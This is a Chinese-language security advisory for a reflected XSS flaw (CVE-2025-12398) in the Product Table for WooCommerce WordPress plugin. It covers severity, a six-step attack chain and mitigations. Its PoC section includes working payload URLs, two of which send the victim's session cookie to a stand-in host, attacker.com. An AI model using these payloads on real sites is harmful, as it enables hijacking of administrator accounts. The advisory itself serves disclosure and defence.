CVE-2025-12398 WordPress WooCommerce产品表插件反射型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-12398

漏洞类型

反射型XSS

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Product Table for WooCommerce

漏洞概述

Product Table for WooCommerce是WordPress平台上广受欢迎的电商插件，用于以表格形式展示WooCommerce产品。该插件在5.0.8及之前的所有版本中存在反射型跨站脚本(XSS)漏洞。漏洞源于插件对用户输入的'search_key'参数缺乏有效的输入清理和输出转义处理。攻击者可以通过构造包含恶意JavaScript代码的链接，诱使已登录的管理员或店铺运营人员点击，从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。由于该漏洞影响WordPress电商网站的管理后台，攻击成功可能导致网站完全沦陷，对业务安全构成严重威胁。建议所有使用该插件的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞为典型的反射型XSS(跨站脚本攻击)漏洞。攻击原理如下：插件在处理'search_key'参数时，直接将用户可控的输入未经充分过滤和转义就嵌入到HTML页面中输出。攻击者构造恶意URL如：/wp-admin/admin.php?page=woo-product-table&search_key=<script>alert(document.cookie)</script>，当受害者访问此链接时，恶意JavaScript代码会在其浏览器上下文中执行。漏洞利用条件包括：(1)攻击者需构造包含XSS payload的恶意链接；(2)需诱骗用户(特别是管理员)点击该链接；(3)用户需在登录状态下访问。由于WordPress后台权限较高，被劫持的管理员会话可导致攻击者获得网站完全控制权。防御措施包括：对所有用户输入进行严格的输入验证和输出编码，使用HTML实体转义函数处理特殊字符。

攻击链分析

STEP 1

步骤1

攻击者收集目标网站信息，确认安装了Product Table for WooCommerce插件且版本<=5.0.8

STEP 2

步骤2

攻击者构造包含XSS payload的恶意URL，使用search_key参数注入JavaScript代码

STEP 3

步骤3

攻击者通过钓鱼邮件、社交工程或恶意网站诱骗目标用户(网站管理员)点击该恶意链接

STEP 4

步骤4

受害者浏览器访问恶意URL，插件将未过滤的payload反射到页面中，触发JavaScript执行

STEP 5

步骤5

攻击者通过JavaScript获取受害者的会话Cookie或执行其他恶意操作，劫持管理员账户

STEP 6

步骤6

攻击者利用获取的管理员权限进一步渗透，植入后门、修改网站内容或窃取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2025-12398 PoC - Reflected XSS in Product Table for WooCommerce -->
<!-- Target: WordPress site with Product Table for WooCommerce plugin <= 5.0.8 -->
<!-- Attack Vector: Malicious URL with XSS payload in search_key parameter -->

<!-- PoC URL ( victim's browser will execute the injected JS) -->
https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%3Cimg%20src=x%20onerror=alert(document.domain)%3E

<!-- More advanced payload for cookie stealing -->
https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%3Cscript%3Edocument.location='https://attacker.com/steal?c='+document.cookie%3C/script%3E

<!-- HTML encoded version -->
https://target-site.com/wp-admin/admin.php?page=woo-product-table&search_key=%22%3E%3Csvg/onload=fetch(%27https://attacker.com/log?data=%27%2BencodeURIComponent(document.cookie))%3E

影响范围

Product Table for WooCommerce <= 5.0.8 (所有版本)

防御指南

临时缓解措施

在官方修复版本发布前，可采取以下临时缓解措施：(1)禁用或删除Product Table for WooCommerce插件；(2)使用Web应用防火墙(WAF)规则拦截包含<script>、<img>、<svg>等标签的search_key参数请求；(3)限制管理员账户对插件功能页面的访问，仅允许受信任的IP地址访问；(4)为管理员账户启用双因素认证以降低会话劫持风险；(5)监控访问日志中异常的search_key参数请求模式。